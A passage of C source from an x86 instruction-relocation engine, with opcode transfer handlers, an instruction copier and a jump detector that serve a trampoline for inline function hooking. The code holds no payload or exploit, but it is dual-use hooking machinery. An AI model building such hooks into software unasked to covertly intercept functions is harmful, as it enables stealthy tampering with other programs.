	opPtr = &extendedInstructionMap[source[1]]; 
	return opPtr->pXferFunction( op16Ptr, opPtr, destination + 1, source + 1 ); 
} 
 
PBYTE transferOp66( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE destination, PBYTE source ) 
{	 
	op16Ptr->operandIs16 = 1; 
	return transferDataPrefix( op16Ptr, opPtr, destination, source ); 
} 
 
PBYTE transferOp67( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE destination, PBYTE source ) 
{	 
	op16Ptr->addressIs16 = 1; 
	return transferDataPrefix( op16Ptr, opPtr, destination, source ); 
} 
 
PBYTE transferOpF6( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE destination, PBYTE source ) 
{ 
	if( (source[1] & 0x38) == 0x00 ) 
	{ 
		X86INSTRUCTION ce = { 0xf6, transfer2Mod1 }; 
		return ce.pXferFunction( op16Ptr, &ce, destination, source ); 
	} 
	{ 
		X86INSTRUCTION ce = { 0xf6, transfer2Mod }; 
		return ce.pXferFunction( op16Ptr, &ce, destination, source ); 
	} 
} 
 
PBYTE transferOpF7( X86_16BIT_INSTRUCTION* op16Ptr, X86INSTRUCTION* opPtr, PBYTE destination, PBYTE source ) 
{ 
	if( (source[1] & 0x38) == 0x00 ) 
	{ 
		X86INSTRUCTION ce = { 0xf7, transfer2ModOperand }; 
		return ce.pXferFunction( op16Ptr, &ce, destination, source ); 
	} 
	{ 
		X86INSTRUCTION ce = { 0xf7, transfer2Mod }; 
		return ce.pXferFunction( op16Ptr, &ce, destination, source ); 
	} 
} 
 
PBYTE transferOpFF( X86_16BIT_INSTRUCTION* op16Ptr, PX86INSTRUCTION opPtr, PBYTE destination, PBYTE source ) 
{	 
	if( source[1] == 0x15 || source[1] == 0x25 ) 
	{ 
		PBYTE* jumpAddress = *(PBYTE**) &source[2]; 
		*op16Ptr->jumpAddress = *jumpAddress; 
	} 
	else if( (source[1] & 0x38) == 0x10 || (source[1] & 0x38) == 0x18 || 
			 (source[1] & 0x38) == 0x20 || (source[1] & 0x38) == 0x28 ) 
	{ 
		*op16Ptr->jumpAddress = DYNAMIC_X86INSTRUCTION; 
	} 
	{ 
		X86INSTRUCTION ce = { 0xff, transfer2Mod }; 
		return ce.pXferFunction( op16Ptr, &ce, destination, source ); 
	} 
} 
 
//called by isJump when getx86Instruction wasn't enough to determine type 
ULONG getNextInstruction( PCHAR codePtr, ULONG initial, PCHAR destinationBuffer, ULONG destinationBufferLength ) 
{ 
	PBYTE source = NULL; 
	PBYTE destination = NULL; 
	ULONG bytesCopied = 0; 
	PBYTE target = NULL; 
	LONG  extra = 0; 
 
	memset( destinationBuffer, 0, destinationBufferLength ); 
	source = (PBYTE)codePtr; 
	destination = (PBYTE)destinationBuffer; 
	for( bytesCopied = 0; bytesCopied < initial; ) 
	{ 
		source = transferInstruction( destination, source, &target, &extra ); 
		if( !source ) 
		{ 
			memset( destinationBuffer, 0, destinationBufferLength ); 
			bytesCopied = 0; 
			break; 
		} 
		bytesCopied = (DWORD)source - (DWORD)codePtr; 
		if( bytesCopied >= destinationBufferLength ) 
		{ 
			ASSERT( FALSE ); 
			break; 
		} 
		destination = (PBYTE)destinationBuffer + bytesCopied; 
	} 
	return bytesCopied; 
} 
 
// called by trampoline to check for jump type instruction 
BOOL isJump( PCHAR instruction, ULONG instructionLength ) 
{ 
	BYTE firstByte; 
	BYTE secondByte; 
	PCHAR thisInstruction; 
	ULONG thisInstructionLength; 
	ULONG nextInstructionLength; 
	char instructionBuffer[MAX_INSTRUCTION] = { 0 }; 
 
	thisInstruction = instruction; 
	thisInstructionLength = instructionLength; 
	while( thisInstructionLength > 0 ) 
	{ 
		// check all jump op codes 
		firstByte = thisInstruction[0]; 
		secondByte = thisInstruction[1]; 
		if( IS_BETWEEN( firstByte, 0x70, 0x7f ) ) 
			return TRUE; 
		else if( IS_BETWEEN( firstByte, 0xca, 0xcb ) ) 
			return TRUE; 
		else if( IS_BETWEEN( firstByte, 0xe0, 0xe3 ) ) 
			return TRUE; 
		else if( IS_BETWEEN( firstByte, 0xe8, 0xeb ) ) 
			return TRUE; 
		else if( IS_EQUAL( firstByte, 0xcf ) ) 
			return TRUE; 
		else if( IS_EQUAL( firstByte, 0xf3 ) ) 
			return TRUE; 
		else if( IS_EQUAL( firstByte, 0xff ) ) 
		{ 
			if( secondByte == 0x15 || secondByte == 0x25 ) 
				return TRUE; 
			if( (secondByte & 0x38) == 0x10 || (secondByte & 0x38) == 0x18 || 
				(secondByte & 0x38) == 0x20 || (secondByte & 0x38) == 0x28 ) 
				return TRUE; 
		} 
		else if( IS_EQUAL( firstByte, 0x0f ) ) 
		{ 
			if( IS_BETWEEN( secondByte, 0x80, 0x8f ) ) 
				return TRUE; 
		} 
		memset( instructionBuffer, 0, sizeof(instructionBuffer) ); 
		nextInstructionLength = getNextInstruction( thisInstruction, 1, instructionBuffer, MAX_INSTRUCTION ); 
		if( nextInstructionLength <= 0 ) 
			break; 
		thisInstructionLength -= nextInstructionLength; 
		thisInstruction += nextInstructionLength; 
	} 
	return FALSE; 
} 
 
#pragma optimize( "", on )